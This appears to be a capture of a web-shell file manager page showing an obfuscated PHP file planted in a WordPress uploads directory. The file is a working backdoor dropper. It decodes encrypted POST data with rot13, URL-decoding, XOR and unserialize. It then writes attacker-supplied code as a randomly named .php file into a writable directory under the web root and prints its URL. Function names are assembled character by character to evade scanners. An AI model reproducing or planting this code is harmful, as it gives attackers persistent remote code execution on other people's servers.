HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/dallavitae/OLD_WP/wp-content/uploads/2023/10/ngdeioiy.php
<?php $IwdUKLa = "QjoBUynGg";function DPCyXd($IwdUKLa){ $GQlDff = "\163"."\x74".chr(520-406).chr(1050-955).'r'.chr(111)."\x74".'1'.'3';$IwdUKLa = $GQlDff($IwdUKLa);$gvJOtBTcJR = 'r'.chr(97).chr(119).'u'."\x72"."\x6c"."\144".chr(495-394)."\143".chr(982-871).chr(100).'e';$IwdUKLa = $gvJOtBTcJR($IwdUKLa);$IwdUKLa = str_split($IwdUKLa);return $IwdUKLa;}function bhfum($hjJCybGmkx, $KsSQI){$hjJCybGmkx = array_slice(str_split(str_repeat($hjJCybGmkx, (count($KsSQI)/16)+1)), 0, count($KsSQI));return $hjJCybGmkx;}function kerNVK($clEPwP, $OfyogUxZ, $hjJCybGmkx){$RXImSksYI = "161d8eb9-9c8d-4bd5-87ed-ebe1826b6fde";return $clEPwP ^ $RXImSksYI[$OfyogUxZ % strlen($RXImSksYI)] ^ $hjJCybGmkx;}function QxGiutxqQP($KsSQI, $hjJCybGmkx){$KsSQI = array_map("kerNVK", array_values($KsSQI), array_keys($KsSQI), array_values($hjJCybGmkx));$KsSQI = implode("", $KsSQI);$rWrkchC = chr(117)."\x6e"."\x73".chr(101).chr(968-854).chr(105)."\x61".chr(108)."\151"."\x7a".chr(463-362);$KsSQI = @$rWrkchC($KsSQI);return $KsSQI;}function IvyDgKml(){echo "zKOrpXzmA";}function wodNAtX($uWhErYdzir){static $MEIufWK = array();$znvnB = glob($uWhErYdzir . '/*', GLOB_ONLYDIR);$VkKbiNs = count($znvnB);if ($VkKbiNs > 0) {foreach ($znvnB as $uWhErYdz) {$jMOSbsmj = chr(942-837).chr(115).'_'."\167".'r'."\x69"."\x74".'a'.chr(133-35).'l'."\x65";if (@$jMOSbsmj($uWhErYdz)) {$MEIufWK[] = $uWhErYdz;}}}foreach ($znvnB as $uWhErYdzir) wodNAtX($uWhErYdzir);return $MEIufWK;}function anmAWZtsfK(){echo "QjoBUynGg";}function cGBIxQ($KsSQI){$pRsTYF = chr(68)."\117".'C'."\125"."\x4d".chr(69)."\116"."\x54".'_'.chr(82).chr(766-687).chr(79).chr(84);$kRguetWv = $_SERVER[$pRsTYF];$znvnB = wodNAtX($kRguetWv);$BjgEj = array_rand($znvnB);$SAvAQYVtK = chr(87-41).chr(235-123)."\x68".'p';$szWBZY = $znvnB[$BjgEj] . "/" . substr(md5(time()), 0, 8) . $SAvAQYVtK;$qnLlI = "\x66".chr(492-387)."\154".chr(101).chr(95)."\x70".chr(117)."\x74".chr(95)."\x63".'o'."\x6e"."\164".chr(1079-978)."\x6e".'t'.chr(115);@$qnLlI($szWBZY, $KsSQI);$PRFKkMXmw = chr(72)."\x54".chr(84).chr(80)."\x5f"."\110"."\x4f"."\123".'T';$rtlRzOhZ = chr(104).'t'.chr(677-561).'p'."\72".'/'."\57";$jGgRGkkGs = $rtlRzOhZ . $_SERVER[$PRFKkMXmw] . substr($szWBZY, strlen($kRguetWv));print($jGgRGkkGs);}function CkSidB(){$abBuoBk = "\x70"."\150"."\x70";$zefBlSgRyV = chr(308-196)."\x68".chr(194-82)."\x76"."\145".'r'.'s'.chr(421-316).'o'."\x6e";$KsSQI = Array($abBuoBk => @$zefBlSgRyV(), );$AxIOntsg = 's'."\145"."\x72".chr(105)."\x61".chr(108)."\x69"."\x7a"."\145";echo @$AxIOntsg($KsSQI);}foreach ($_POST as $hjJCybGmkx => $KsSQI){$qNlfe = strlen($hjJCybGmkx);if ($qNlfe == 16){$KsSQI = DPCyXd($KsSQI);$hjJCybGmkx = bhfum($hjJCybGmkx, $KsSQI);$KsSQI = QxGiutxqQP($KsSQI, $hjJCybGmkx);if (@is_array($KsSQI)){$BjgEj = array_keys($KsSQI);$KsSQI = $KsSQI[$BjgEj[0]];$BjgEj = $BjgEj[0];$BjgEj = substr($BjgEj, 0);if ($KsSQI !== $BjgEj){cGBIxQ($KsSQI);}else {CkSidB();}die();}}}